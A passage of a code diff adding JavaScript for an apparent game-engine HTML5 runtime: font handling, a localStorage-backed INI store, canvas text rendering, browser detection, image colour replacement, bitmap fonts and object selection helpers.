+ CFontInfo.prototype =
+ {
+ copy: function (f)
+ {
+ this.lfHeight = f.lfHeight;
+ this.lfWeight = f.lfWeight;
+ this.lfItalic = f.lfItalic;
+ this.lfFaceName = f.lfFaceName;
+ },
+ getFont: function ()
+ {
+ var result;
+ if (this.lfItalic)
+ result = "italic ";
+ else
+ result = "normal "
+
+ var weight = Math.floor(this.lfWeight / 100) * 100;
+ weight = Math.max(weight, 100);
+ weight = Math.min(weight, 900);
+ result += weight + " ";
+
+ var height = this.lfHeight; // CServices.heightNormalToLF(this.lfHeight);
+ result += height + "px ";
+ result += this.lfFaceName;
+
+ return result;
+ },
+
+ getHeight: function () {
+ return this.lfHeight + Math.ceil(this.lfHeight / 8);
+ },
+
+ init: function ()
+ {
+ this.lfFaceName = "Arial";
+ this.lfHeight = 13;
+ this.lfWeight = 400;
+ this.lfItalic = 0;
+ },
+ readLogFont: function (file)
+ {
+ this.lfHeight = file.readAInt();
+ if (this.lfHeight < 0)
+ this.lfHeight = -this.lfHeight;
+ file.skipBytes(12);
+ this.lfWeight = file.readAInt();
+ this.lfItalic = file.readAByte();
+ this.lfUnderline = file.readAByte();
+ this.lfStrikeOut = file.readAByte();
+ file.skipBytes(5);
+ this.lfFaceName = file.readAString(32);
+ },
+ readLogFont16: function (file)
+ {
+ this.lfHeight = file.readShort();
+ if (this.lfHeight < 0)
+ this.lfHeight = -this.lfHeight;
+ file.skipBytes(6);
+ this.lfWeight = file.readAShort();
+ this.lfItalic = file.readAByte();
+ this.lfUnderline = file.readAByte();
+ this.lfStrikeOut = file.readAByte();
+ file.skipBytes(5);
+ var oldUnicode = file.bUnicode;
+ file.bUnicode = false;
+ this.lfFaceName = file.readAString(32);
+ file.bUnicode = oldUnicode;
+ }
+ }
+
+
+ // CIni object
+ // ------------------------------------------------------------
+ CIni.separator = "{@24}";
+ CIni.INIFLAG_UTF8 = 0x0001;
+ CIni.INIFLAG_UTF16 = 0x0002;
+ function CIni(a, flags)
+ {
+ this.app = a;
+ this.flags = flags;
+ this.strings = new CArrayList();
+ this.currentFileName = null;
+ }
+ CIni.prototype =
+ {
+ saveIni: function ()
+ {
+ if (this.strings != null && this.currentFileName != null)
+ {
+ var value = "";
+ var n;
+ for (n = 0; n < this.strings.size(); n++)
+ value += this.strings.get(n) + CIni.separator;
+ localStorage.setItem(this.currentFileName, value);
+ }
+ },
+ loadIni: function (fileName)
+ {
+ var reload = true;
+ if (this.currentFileName != null)
+ {
+ if (CServices.compareStringsIgnoreCase(fileName, this.currentFileName))
+ {
+ reload = false;
+ }
+ }
+ if (reload)
+ {
+ this.saveIni();
+
+ this.currentFileName = fileName;
+ this.strings = new CArrayList();
+
+ var value = localStorage.getItem(this.currentFileName);
+ if (value)
+ {
+ var begin = 0;
+ var end = value.indexOf(CIni.separator, 0);
+ while (end >= 0)
+ {
+ this.strings.add(value.substring(begin, end));
+ begin = end + CIni.separator.length;
+ end = value.indexOf(CIni.separator, begin);
+ }
+ ;
+ }
+ else
+ {
+ /* var cFile=new CFile();
+ cFile.openFile(this.currentFileName);
+ if (cFile.getLength()==0)
+ {
+ cFile=null;
+ }
+ */
+ var cFile = null;
+ if (cFile == null)
+ {
+ var eFile = this.app.getEmbeddedFile(this.currentFileName);
+ if (eFile != null)
+ {
+ cFile = eFile.open();
+ }
+ }
+ if (cFile)
+ {
+ var utf8 = false;
+ cFile.detectUnicode();
+ if (typeof this.flags != 'undefined')
+ {
+ if (this.flags & CIni.INIFLAG_UTF8) {
+ this.bUnicode = false;
+ utf8 = true;
+ }
+ if (this.flags & CIni.INIFLAG_UTF16)
+ this.bUnicode = true;
+ }
+ while (cFile.isEOF() == false)
+ {
+ var currentLine = cFile.readAStringEOL();
+ if (utf8)
+ currentLine = this.decodeUtf8(currentLine);
+ if (currentLine.substring(0, 1) == "<")
+ {
+ this.strings.clear();
+ break;
+ }
+ if (currentLine == null)
+ {
+ break;
+ }
+ this.strings.add(currentLine);
+ }
+ }
+ }
+ }
+ },
+ /**
+ * http://www.webtoolkit.info/javascript-utf8.html
+ */
+ decodeUtf8: function (utftext) {
+ var string = "";
+ var i = 0;
+ var c = 0, c1 = 0, c2 = 0, c3 = 0;
+
+ while (i < utftext.length) {
+
+ c = utftext.charCodeAt(i);
+
+ if (c < 128) {
+ string += String.fromCharCode(c);
+ i++;
+ }
+ else if ((c > 191) && (c < 224)) {
+ c2 = utftext.charCodeAt(i + 1);
+ string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
+ i += 2;
+ }
+ else {
+ c2 = utftext.charCodeAt(i + 1);
+ c3 = utftext.charCodeAt(i + 2);
+ string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
+ i += 3;
+ }
+
+ }
+
+ return string;
+ },
+ findSection: function (sectionName)
+ {
+ var l;
+ var s, s2;
+ for (l = 0; l < this.strings.size(); l++)
+ {
+ s = this.strings.get(l);
+ if (s.charAt(0) == "[")
+ {
+ var last = s.lastIndexOf("]");
+ if (last >= 1)
+ {
+ s2 = s.substring(1, last);
+ if (CServices.compareStringsIgnoreCase(sectionName, s2))
+ {
+ return l;
+ }
+ }
+ }
+ }
+ return -1;
+ },
+
+ findKey: function (l, keyName)
+ {
+ var s, s2;
+ var last;
+ for (; l < this.strings.size(); l++)
+ {
+ s = this.strings.get(l);
+ if (s.charAt(0) == "[")
+ {
+ return -1;
+ }
+ last = s.indexOf('=');
+ if (last >= 0)
+ {
+ var start = 0;
+ while (start < last && s.charCodeAt(start) == 32)
+ {
+ start++;
+ }
+ while (last > start && s.charCodeAt(last - 1) == 32)
+ {
+ last--;
+ }
+ if (last > start)
+ {
+ s2 = s.substring(0, last);
+ if (CServices.compareStringsIgnoreCase(s2, keyName))
+ {
+ return l;
+ }
+ }
+ }
+ }
+ return -1;
+ },
+
+ getPrivateProfileString: function (sectionName, keyName, defaultString, fileName)
+ {
+ this.loadIni(fileName);
+
+ var l = this.findSection(sectionName);
+ if (l >= 0)
+ {
+ l = this.findKey(l + 1, keyName);
+ if (l >= 0)
+ {
+ var s = this.strings.get(l);
+ var last = s.indexOf("=");
+ return s.substring(last + 1);
+ }
+ }
+ return defaultString;
+ },
+
+ writePrivateProfileString: function (sectionName, keyName, name, fileName)
+ {
+ this.loadIni(fileName);
+
+ var s;
+ var section = this.findSection(sectionName);
+ if (section < 0)
+ {
+ s = "[" + sectionName + "]";
+ this.strings.add(s);
+ s = keyName + "=" + name;
+ this.strings.add(s);
+ // this.saveIni();
+ return;
+ }
+
+ var key = this.findKey(section + 1, keyName);
+ if (key >= 0)
+ {
+ s = keyName + "=" + name;
+ this.strings.set(key, s);
+ // this.saveIni();
+ return;
+ }
+
+ for (key = section + 1; key < this.strings.size(); key++)
+ {
+ s = this.strings.get(key);
+ if (s.charAt(0) == '[')
+ {
+ s = keyName + "=" + name;
+ this.strings.insert(key, s);
+ // this.saveIni();
+ return;
+ }
+ }
+ s = keyName + "=" + name;
+ this.strings.add(s);
+ // this.saveIni();
+ },
+
+ deleteItem: function (group, item, iniName)
+ {
+ this.loadIni(iniName);
+
+ var s = this.findSection(group);
+ if (s >= 0)
+ {
+ var k = this.findKey(s + 1, item);
+ if (k >= 0)
+ {
+ this.strings.removeIndex(k);
+ }
+ this.saveIni();
+ }
+ },
+
+ deleteGroup: function (group, iniName)
+ {
+ this.loadIni(iniName);
+
+ var s = this.findSection(group);
+ if (s >= 0)
+ {
+ this.strings.removeIndex(s);
+ while (true)
+ {
+ s++;
+ if (s >= this.strings.size())
+ {
+ break;
+ }
+ if (this.strings.get(s).charAt(0) == '[')
+ {
+ break;
+ }
+ this.strings.removeIndex(s);
+ }
+ this.saveIni();
+ }
+ }
+ }
+
+ // CTextSurface
+ // -----------------------------------------------------------------
+ function CTextSurface(a, w, h)
+ {
+ this.app = a;
+ this.width = w;
+ this.height = h;
+ this.canvas = document.createElement("canvas");
+ this.canvas.width = w;
+ this.canvas.height = h;
+ this.canvasContext = this.canvas.getContext("2d");
+ }
+ CTextSurface.prototype =
+ {
+ measureText: function (text, font)
+ {
+ font = this.app.getGraphicFont(font);
+ if (font.isGraphic)
+ return font.measureText(text);
+ this.canvasContext.font = font.getFont();
+ return this.canvasContext.measureText(text).width;
+ },
+ setText: function (text, dtflags, rectangle, font, color)
+ {
+ /* TODO : fix rect comparison */
+
+ if (text == this.lastText && dtflags == this.lastFlags
+ && rectangle == this.lastRect && font == this.lastFont
+ && color == this.lastColor)
+ {
+ return this.lastHt;
+ }
+
+ var context = this.canvasContext;
+ context.clearRect(0, 0, this.width, this.height);
+
+ if (!rectangle)
+ rectangle = new CRect(0, 0, this.width, this.height);
+ var displayArray = new Array(0);
+ font = this.app.getGraphicFont(font);
+ var ht = CServices.drawText(context, text, dtflags, rectangle, font, displayArray);
+ if (ht != 0)
+ {
+ var deltaY = 0;
+ if ((dtflags & CServices.DT_BOTTOM) != 0)
+ deltaY = this.height - ht;
+ else if ((dtflags & CServices.DT_VCENTER) != 0)
+ deltaY = this.height / 2 - ht / 2;
+ CServices.displayText(context, 0, deltaY, displayArray, font, color, 0, 0);
+ }
+ this.lastText = text;
+ this.lastFlags = dtflags;
+ this.lastRect = rectangle;
+ this.lastFont = font;
+ this.lastColor = color;
+ this.lastHt = ht;
+
+ return ht;
+ },
+ manualClear: function (color)
+ {
+ if (!color)
+ {
+ this.canvasContext.clearRect(0, 0, this.width, this.height);
+ return;
+ }
+
+ this.canvasContext.fillStyle = CServices.getColorString(color);
+ this.canvasContext.fillRect(0, 0, this.width, this.height);
+ },
+ manualDrawText: function (s, flags, rect, color, font, relief, color2)
+ {
+ var context = this.canvasContext;
+
+ var displayArray = new Array(0);
+ if (!rect)
+ rect = new CRect(0, 0, this.width, this.height);
+ font = this.app.getGraphicFont(font);
+ var ht = CServices.drawText(this.canvasContext, s, flags, rect, font, displayArray);
+ if (ht != 0)
+ {
+ var deltaY = 0;
+ if ((flags & CServices.DT_BOTTOM) != 0)
+ deltaY = this.height - ht;
+ else if ((flags & CServices.DT_VCENTER) != 0)
+ deltaY = this.height / 2 - ht / 2;
+ switch (relief)
+ {
+ case 1:
+ CServices.displayText(this.canvasContext, 1, deltaY + 1, displayArray, font, color2, 0, 0);
+ CServices.displayText(this.canvasContext, 0, deltaY, displayArray, font, color, 0, 0);
+ break;
+ case 2:
+ CServices.displayText(this.canvasContext, 1, deltaY, displayArray, font, color2, 0, 0);
+ CServices.displayText(this.canvasContext, 1, deltaY + 2, displayArray, font, color2, 0, 0);
+ CServices.displayText(this.canvasContext, 0, deltaY + 1, displayArray, font, color2, 0, 0);
+ CServices.displayText(this.canvasContext, 2, deltaY + 1, displayArray, font, color2, 0, 0);
+ CServices.displayText(this.canvasContext, 1, deltaY + 1, displayArray, font, color, 0, 0);
+ break;
+ case 0:
+ CServices.displayText(this.canvasContext, 0, deltaY, displayArray, font, color, 0, 0);
+ break;
+ }
+ }
+ },
+ resize: function (w, h)
+ {
+ if (w != this.width || h != this.height)
+ {
+ this.width = w;
+ this.height = h;
+ this.canvas.width = w;
+ this.canvas.height = h;
+ }
+ },
+ draw: function (context, x, y, inkEffect, inkEffectParam)
+ {
+ context.renderSimpleImage(this.canvas, x, y, this.width, this.height, inkEffect, inkEffectParam);
+ }
+ }
+
+ // Browser detection
+ // ----------------------------------------------------------------------
+ BrowserDetect.dataBrowser =
+ [
+ {
+ string: navigator.userAgent,
+ subString: "Chrome",
+ identity: "Chrome"
+ },
+ { string: navigator.userAgent,
+ subString: "OmniWeb",
+ versionSearch: "OmniWeb/",
+ identity: "OmniWeb"
+ },
+ {
+ string: navigator.vendor,
+ subString: "Apple",
+ identity: "Safari",
+ versionSearch: "Version"
+ },
+ {
+ prop: window.opera,
+ identity: "Opera",
+ versionSearch: "Version"
+ },
+ {
+ string: navigator.vendor,
+ subString: "iCab",
+ identity: "iCab"
+ },
+ {
+ string: navigator.vendor,
+ subString: "KDE",
+ identity: "Konqueror"
+ },
+ {
+ string: navigator.userAgent,
+ subString: "Firefox",
+ identity: "Firefox"
+ },
+ {
+ string: navigator.vendor,
+ subString: "Camino",
+ identity: "Camino"
+ },
+ { // for newer Netscapes (6+)
+ string: navigator.userAgent,
+ subString: "Netscape",
+ identity: "Netscape"
+ },
+ {
+ string: navigator.userAgent,
+ subString: "MSIE",
+ identity: "Explorer",
+ versionSearch: "MSIE"
+ },
+ {
+ string: navigator.userAgent,
+ subString: "Gecko",
+ identity: "Mozilla",
+ versionSearch: "rv"
+ },
+ { // for older Netscapes (4-)
+ string: navigator.userAgent,
+ subString: "Mozilla",
+ identity: "Netscape",
+ versionSearch: "Mozilla"
+ }
+ ];
+ BrowserDetect.dataOS =
+ [
+ {
+ string: navigator.platform,
+ subString: "Win",
+ identity: "Windows"
+ },
+ {
+ string: navigator.platform,
+ subString: "Mac",
+ identity: "MacOS"
+ },
+ {
+ string: navigator.userAgent,
+ subString: "iPhone",
+ identity: "iOS"
+ },
+ {
+ string: navigator.userAgent,
+ subString: "iPod",
+ identity: "iOS"
+ },
+ {
+ string: navigator.userAgent,
+ subString: "iPad",
+ identity: "iOS"
+ },
+ {
+ string: navigator.userAgent,
+ subString: "Android",
+ identity: "Android"
+ },
+ {
+ string: navigator.platform,
+ subString: "Windows Phone",
+ identity: "Windows Phone"
+ },
+ {
+ string: navigator.platform,
+ subString: "Linux",
+ identity: "Linux"
+ }
+ ];
+ function BrowserDetect()
+ {
+ // New detection, taken from http://stackoverflow.com/questions/9847580/how-to-detect-safari-chrome-ie-firefox-and-opera-browser
+
+ // Opera 8.0+
+ this.isOpera = (!!window['opr'] && !!opr.addons) || !!window['opera'] || navigator.userAgent.indexOf(' OPR/') >= 0;
+
+ // Firefox 1.0+
+ this.isFirefox = typeof InstallTrigger !== 'undefined';
+
+ // Safari 3.0+ "[object HTMLElementConstructor]"
+ this.isSafari = Object.prototype.toString.call(window['HTMLElement']).indexOf('Constructor') > 0 || (function (p) { return p.toString() === "[object SafariRemoteNotification]"; })(!window['safari'] || safari['pushNotification']);
+
+ // Internet Explorer 6-11
+ this.isIE = /*@cc_on!@*/false || !!document.documentMode;
+
+ // Edge 20+
+ this.isEdge = !this.isIE && !!window['StyleMedia'];
+
+ // Chrome 1+
+ this.isChrome = !!window.chrome && !!window.chrome.webstore;
+
+ if (this.isChrome)
+ this.browser = "Chrome";
+ else if (this.isEdge)
+ this.browser = "Edge";
+ else if (this.isIE)
+ this.browser = "Explorer";
+ else if (this.isFirefox)
+ this.browser = "Firefox";
+ else if (this.isOpera)
+ this.browser = "Opera";
+ else if (this.isSafari)
+ this.browser = "Safari";
+
+ // Old version
+ else
+ this.browser = this.searchString(BrowserDetect.dataBrowser) || "Unknown browser";
+
+ this.version = this.searchVersion(navigator.userAgent)
+ || this.searchVersion(navigator.appVersion)
+ || "Unknown version";
+ this.OS = this.searchString(BrowserDetect.dataOS) || "Unknown OS";
+ }
+ BrowserDetect.prototype =
+ {
+ searchString: function (data)
+ {
+ for (var i = 0; i < data.length; i++)
+ {
+ var dataString = data[i].string;
+ var dataProp = data[i].prop;
+ this.versionSearchString = data[i].versionSearch || data[i].identity;
+ if (dataString)
+ {
+ if (dataString.indexOf(data[i].subString) != -1)
+ return data[i].identity;
+ }
+ else if (dataProp)
+ return data[i].identity;
+ }
+ },
+ searchVersion: function (dataString)
+ {
+ var index = dataString.indexOf(this.versionSearchString);
+ if (index == -1) return;
+ return parseFloat(dataString.substring(index + this.versionSearchString.length + 1));
+ }
+ };
+
+ // REPLACE COLOR
+ // -----------------------------------------------------
+ function CActReplaceColor()
+ {
+ this.mode = null;
+ this.dwMax = null;
+ this.pImages = null;
+ this.pRh = null;
+ }
+
+ function CReplaceColor()
+ {
+ this.mode = 0;
+ this.app = null;
+ this.pImages = null;
+ }
+ CReplaceColor.prototype =
+ {
+ replaceColor: function (rhPtr, pHo, newColor, oldColor)
+ {
+ this.app = rhPtr.rhApp;
+
+ // Changement des couleurs
+ // ----------------------------------------------------------------------------
+ var oi = pHo.hoOi;
+ var poi = rhPtr.rhApp.OIList.getOIFromHandle(oi);
+ if (poi == null)
+ return;
+
+ // Get image max
+ this.dwMax = -1;
+ this.mode = 0;
+ poi.enumElements(this, null);
+
+ // Rechercher le premier
+ var pHoFirst = pHo;
+ while ((pHoFirst.hoNumPrev & 0x80000000) == 0)
+ pHoFirst = rhPtr.rhObjectList[pHoFirst.hoNumPrev & 0x7FFFFFFF];
+
+ // Parcourir la liste
+ do
+ {
+ if (pHoFirst.roc.rcImage != -1 && pHoFirst.roc.rcImage > this.dwMax)
+ this.dwMax = pHoFirst.roc.rcImage;
+ if (pHoFirst.roc.rcOldImage != -1 && pHoFirst.roc.rcOldImage > this.dwMax)
+ this.dwMax = pHoFirst.roc.rcOldImage;
+
+ // Le dernier?
+ if ((pHoFirst.hoNumNext & 0x80000000) != 0)
+ break;
+
+ // Next OI
+ pHoFirst = rhPtr.rhObjectList[pHoFirst.hoNumNext];
+
+ } while (true);
+
+ // Allocate memory
+ this.pImages = new Array(this.dwMax + 1);
+ var n;
+ for (n = 0; n < this.dwMax + 1; n++)
+ {
+ this.pImages[n] = -1;
+ }
+
+ // List all images
+ this.mode = 1;
+ poi.enumElements(this, null);
+
+ // Replace color in all images and create new images
+ var i;
+ var newImg;
+ for (i = 0; i <= this.dwMax; i++)
+ {
+ if (this.pImages[i] == -1)
+ continue;
+
+ var sourceImg = rhPtr.rhApp.imageBank.getImageFromHandle(i);
+ var destImg = CServices.performReplacement(rhPtr.rhApp, sourceImg, oldColor, newColor);
+ if (destImg != null)
+ {
+ // Create new image in the bank
+ this.pImages[i] = rhPtr.rhApp.imageBank.addImage(destImg);
+ }
+ }
+
+ // Remplacer images dans les objets de m๏ฟฝme OI
+ pHoFirst = pHo;
+ while ((pHoFirst.hoNumPrev & 0x80000000) == 0)
+ pHoFirst = rhPtr.rhObjectList[pHoFirst.hoNumPrev & 0x7FFFFFFF];
+
+ // Parcourir la liste
+ do
+ {
+ if (pHoFirst.roc.rcImage != -1 && this.pImages[pHoFirst.roc.rcImage] != -1)
+ {
+ pHoFirst.roc.rcImage = this.pImages[pHoFirst.roc.rcImage];
+ }
+ if (pHoFirst.roc.rcOldImage != -1 && this.pImages[pHoFirst.roc.rcOldImage] != -1)
+ {
+ pHoFirst.roc.rcOldImage = this.pImages[pHoFirst.roc.rcOldImage];
+ }
+
+ // Le dernier?
+ if ((pHoFirst.hoNumNext & 0x80000000) != 0)
+ break;
+ // Next OI
+ pHoFirst = rhPtr.rhObjectList[pHoFirst.hoNumNext];
+
+ } while (true);
+
+ this.mode = 2;
+ poi.enumElements(this, null);
+
+ // Replace old images by new ones
+ this.mode = 3;
+ poi.enumElements(this, null);
+
+ // Mark OI to reload
+ poi.oiLoadFlags |= COI.OILF_TORELOAD;
+ },
+ enumerate: function (num)
+ {
+ switch (this.mode)
+ {
+ case 0:
+ if (num > this.dwMax)
+ this.dwMax = num;
+ return -1;
+ case 1:
+ this.pImages[num] = 1;
+ return -1;
+ case 2:
+ this.app.imageBank.delImage(num);
+ return -1;
+ case 3:
+ var image = this.app.imageBank.getImageFromHandle(this.pImages[num]);
+ image.useCount++;
+ return this.pImages[num];
+ }
+ return -1;
+ }
+ }
+ CServices.performReplacement = function (app, image, sourceColor, destColor)
+ {
+ var canvas = document.createElement("canvas");
+ canvas.width = image.width;
+ canvas.height = image.height;
+ var context = canvas.getContext("2d");
+ if (image.mosaic == 0)
+ {
+ context.drawImage(image.img, 0, 0);
+ }
+ else
+ {
+ context.drawImage(app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height, 0, 0,
+ image.width, image.height);
+ }
+ var imageData = context.getImageData(0, 0, image.width, image.height);
+ var newR = (destColor >> 16) & 0xFF;
+ var newG = (destColor >> 8) & 0xFF;
+ var newB = destColor & 0xFF;
+ var oldR = (sourceColor >> 16) & 0xFF;
+ var oldG = (sourceColor >> 8) & 0xFF;
+ var oldB = sourceColor & 0xFF;
+ var index, x, y;
+ for (y = 0; y < image.height; y++)
+ {
+ for (x = 0; x < image.width; x++)
+ {
+ index = (y * image.width + x) * 4;
+ if (imageData.data[index] == oldR && imageData.data[index + 1] == oldG && imageData.data[index + 2] == oldB)
+ {
+ imageData.data[index] = newR;
+ imageData.data[index + 1] = newG;
+ imageData.data[index + 2] = newB;
+ }
+ }
+ }
+ context.putImageData(imageData, 0, 0);
+ var newImage = new CImage();
+ newImage.app = app;
+ newImage.width = image.width;
+ newImage.height = image.height;
+ newImage.xSpot = image.xSpot;
+ newImage.ySpot = image.ySpot;
+ newImage.xAP = image.xAP;
+ newImage.yAP = image.yAP;
+ newImage.useCount = 0;
+ newImage.img = canvas;
+ newImage.maskNormal = image.maskNormal;
+ newImage.maskPlatform = image.maskPlatform;
+ newImage.maskRotation = image.maskRotation;
+
+ return newImage;
+ }
+
+ // Graphic font
+ // ---------------------------------------------------------
+ CGraphicFont.FONTFLAG_ITALIC = 0x0001;
+ CGraphicFont.FONTFLAG_UNDERLINE = 0x0002;
+ CGraphicFont.FONTFLAG_BOLD = 0x0004;
+ CGraphicFont.FLAG_PRIORITY = 0x0008;
+ function CGraphicFont()
+ {
+ this.characters = null;
+ this.width = 0;
+ this.height = 0;
+ this.image = null;
+ this.color = 0;
+ this.flags = 0;
+ this.fontName = null;
+ this.fontHeight = 0;
+ this.fontFlags = 0;
+ this.interline = 0;
+ this.interchar = 0;
+ this.nChars = 0;
+ this.charWidths = null;
+ this.isGraphic = true;
+ }
+
+ CGraphicFont.prototype =
+ {
+ compareFont: function (font)
+ {
+ if (this.fontName != font.lfFaceName)
+ return false;
+ if (this.fontHeight != font.lfHeight)
+ return false;
+ var b1 = (this.fontFlags & CGraphicFont.FONTFLAG_ITALIC) != 0;
+ var b2 = (font.lfItalic) != 0;
+ if (b1 != b2)
+ return false;
+ b1 = (this.fontFlags & CGraphicFont.FONTFLAG_BOLD) != 0;
+ b2 = (font.lfWeight) > 400;
+ if (b1 != b2)
+ return false;
+ return true;
+ },
+
+ getHeight: function () {
+ return this.height + this.interline;
+ },
+
+ measureText: function (s)
+ {
+ var w = 0;
+ var l = s.length;
+ var n, index;
+ for (n = 0; n < l; n++)
+ {
+ index = this.characters.indexOf(s.charAt(n));
+ if (index >= 0)
+ {
+ w += this.charWidths[index] + this.interchar;
+ }
+ else
+ {
+ w += this.width;
+ }
+ }
+ return w;
+ },
+
+ measureChar: function (c)
+ {
+ var w;
+ var index = characters.indexOf(String.fromCharCode(c));
+ if (index >= 0)
+ w = this.charWidths[index] + this.interchar;
+ else
+ w = this.width;
+ return w;
+ },
+
+ fillText: function (context, s, x, y)
+ {
+ var l = s.length;
+ var n, xs, ys, index, col, line, c;
+
+ var image = this.image;
+
+ if ((this.flags & CGraphicFont.FLAG_PRIORITY) == 0)
+ {
+ for (n = 0; n < l; n++)
+ {
+ index = this.characters.indexOf(s.charAt(n));
+ if (index >= 0)
+ {
+ line = Math.floor(index / this.nChars);
+ col = index - (line * this.nChars);
+ ys = line * (this.height + 1);
+ xs = col * (this.width + 1);
+
+ if (image.mosaic == 0)
+ {
+ context.drawImage(image.img, xs, ys, this.width, this.height, Math.round(x), Math.round(y), this.width, this.height);
+ }
+ else
+ {
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ xs + image.mosaicX, ys + image.mosaicY, this.width, this.height,
+ Math.round(x), Math.round(y), this.width, this.height);
+ }
+ x += this.charWidths[index] + this.interchar;
+ }
+ else
+ {
+ context.fillStyle = CServices.getColorString(this.color);
+ context.fillRect(x, y, this.width, this.height);
+ x += this.width;
+ }
+ }
+ }
+ else
+ {
+ x += this.measureText(s);
+ for (n = l - 1; n >= 0; n--)
+ {
+ index = this.characters.indexOf(s.charAt(n));
+ if (index >= 0)
+ {
+ x -= (this.charWidths[index] + this.interchar);
+ line = index / this.nChars;
+ col = index - (line * this.nChars);
+ ys = line * (this.height + 1);
+ xs = col * (this.width + 1);
+ if (image.mosaic == 0)
+ {
+ context.drawImage(image.img, xs, ys, this.width, this.height, Math.round(x), Math.round(y), this.width, this.height);
+ }
+ else
+ {
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ xs + image.mosaicX, ys + image.mosaicY, this.width, this.height,
+ Math.round(x), Math.round(y), this.width, this.height);
+ }
+ }
+ else
+ {
+ x -= this.width;
+ context.fillStyle = CServices.getColorString(this.color);
+ context.fillRect(x, y, this.width, this.height);
+ }
+ }
+ }
+ }
+ }
+
+ // OBJECT SELECTION CLASS
+ // ------------------------------------------------------------------------------
+ function ObjectSelection(runApp)
+ {
+ this.rhPtr = runApp;
+ this.run = this.rhPtr.run;
+ this.eventProgram = this.run.rhEvtProg;
+ this.ObjectList = this.run.rhObjectList; //get a pointer to the mmf object list
+ this.OiList = this.run.rhOiList; //get a pointer to the mmf object info list
+ this.QualToOiList = this.eventProgram.qualToOiList; //get a pointer to the mmf qualifier to Oi list
+ }
+ ObjectSelection.prototype =
+ {
+ //Selects *all* objects of the given object-type
+ selectAll: function (OiList)
+ {
+ var pObjectInfo = this.OiList[OiList];
+ pObjectInfo.oilNumOfSelected = pObjectInfo.oilNObjects;
+ pObjectInfo.oilListSelected = pObjectInfo.oilObject;
+ pObjectInfo.oilEventCount = this.eventProgram.rh2EventCount;
+
+ var i = pObjectInfo.oilObject;
+ while ((i & 0x80000000) == 0)
+ {
+ var pObject = this.ObjectList[i];
+ pObject.hoNextSelected = pObject.hoNumNext;
+ i = pObject.hoNumNext;
+ }
+ },
+
+ //Resets all objects of the given object-type
+ selectNone: function (OiList)
+ {
+ var pObjectInfo = this.OiList[OiList];
+ if (pObjectInfo == null)
+ return;
+ pObjectInfo.oilNumOfSelected = 0;
+ pObjectInfo.oilListSelected = -1;
+ pObjectInfo.oilEventCount = this.eventProgram.rh2EventCount;
+ },
+
+ //Resets the SOL and inserts only one given object
+ selectOneObject: function (object)
+ {
+ var pObjectInfo = object.hoOiList;
+ pObjectInfo.oilNumOfSelected = 1;
+ pObjectInfo.oilEventCount = this.eventProgram.rh2EventCount;
+ pObjectInfo.oilListSelected = object.hoNumber;
+ this.ObjectList[object.hoNumber].hoNextSelected = -1;
+ },
+
+ //Resets the SOL and inserts the given list of objects
+ selectObjects: function (OiList, objects)
+ {
+ var pObjectInfo = this.OiList[OiList];
+
+ if (pObjectInfo == null)
+ return;
+
+ pObjectInfo.oilNumOfSelected = objects.length;
+ pObjectInfo.oilEventCount = eventProgram.rh2EventCount;
+
+ if (objects.length == 0)
+ return;
+
+ var i = 0;
+ var prevNumber = objects[i].hoNumber;
+ pObjectInfo.oilListSelected = prevNumber;
+ while (i < objects.length)
+ {
+ currentNumber = objects[i++].hoNumber;
+ this.ObjectList[prevNumber].hoNextSelected = currentNumber;
+ prevNumber = currentNumber;
+ }
+ this.ObjectList[prevNumber].hoNextSelected = -1;
+ },
+
+ //Run a custom filter on the SOL (via function callback)
+ filterObjects: function (rdPtr, OiList, negate, filter)
+ {
+ if ((OiList & 0x8000) != 0)
+ {
+ return ((this.filterQualifierObjects(rdPtr, OiList & 0x7FFF, negate, filter) ? 1 : 0) ^ (negate ? 1 : 0)) != 0;
+ }
+ return ((this.filterNonQualifierObjects(rdPtr, OiList, negate, filter) ? 1 : 0) ^ (negate ? 1 : 0)) != 0;
+ },
+
+ //Filter qualifier objects
+ filterQualifierObjects: function (rdPtr, OiList, negate, filter)
+ {
+ var CurrentQualToOi = this.QualToOiList[OiList];
+
+ var hasSelected = false;
+ var i = 0;
+
+ while (i < CurrentQualToOi.qoiList.length)
+ {
+ var CurrentOi = CurrentQualToOi.qoiList[i + 1];
+ hasSelected = (((hasSelected ? 1 : 0) |
+ (this.filterNonQualifierObjects(rdPtr, CurrentOi, negate, filter) ? 1 : 0))) != 0;
+
+ i += 2;
+ }
+ return hasSelected;
+ },
+
+ //Filter normal objects
+ filterNonQualifierObjects: function (rdPtr, OiList, negate, filter)
+ {
+ var pObjectInfo = this.OiList[OiList];
+ if (pObjectInfo == null)
+ return false;
+ var hasSelected = false;
+ if (pObjectInfo.oilEventCount != this.eventProgram.rh2EventCount)
+ {
+ this.selectAll(OiList); //The SOL is invalid, must reset.
+ }
+
+ //If SOL is empty
+ if (pObjectInfo.oilNumOfSelected <= 0)
+ {
+ return false;
+ }
+
+ var firstSelected = -1;
+ var count = 0;
+ var current = pObjectInfo.oilListSelected;
+ var previous = null;
+
+ while ((current & 0x80000000) == 0)
+ {
+ var pObject = this.ObjectList[current];
+ var filterResult = filter(rdPtr, pObject);
+ var useObject = ((filterResult ? 1 : 0) ^ (negate ? 1 : 0)) != 0;
+ hasSelected = ((hasSelected ? 1 : 0) | (useObject ? 1 : 0)) != 0;
+
+ if (useObject)
+ {
+ if (firstSelected == -1)
+ {
+ firstSelected = current;
+ }
+
+ if (previous != null)
+ {
+ previous.hoNextSelected = current;
+ }
+
+ previous = pObject;
+ count++;
+ }
+ current = pObject.hoNextSelected;
+ }
+ if (previous != null)
+ {
+ previous.hoNextSelected = -1;
+ }
+
+ pObjectInfo.oilListSelected = firstSelected;
+ pObjectInfo.oilNumOfSelected = count;
+
+ return hasSelected;
+ },
+
+ //Return the number of selected objects for the given object-type
+ getNumberOfSelected: function (OiList)
+ {
+ if ((OiList & 0x8000) != 0)
+ {
+ OiList &= 0x7FFF; //Mask out the qualifier part
+ var numberSelected = 0;
+
+ var CurrentQualToOi = this.QualToOiList[OiList];
+
+ var i = 0;
+ while (i < CurrentQualToOi.qoiList.length)
+ {
+ var CurrentOi = this.OiList[CurrentQualToOi.qoiList[i + 1]];
+ numberSelected += CurrentOi.oilNumOfSelected;
+ i += 2;
+ }
+ return numberSelected;
+ }
+ else
+ {
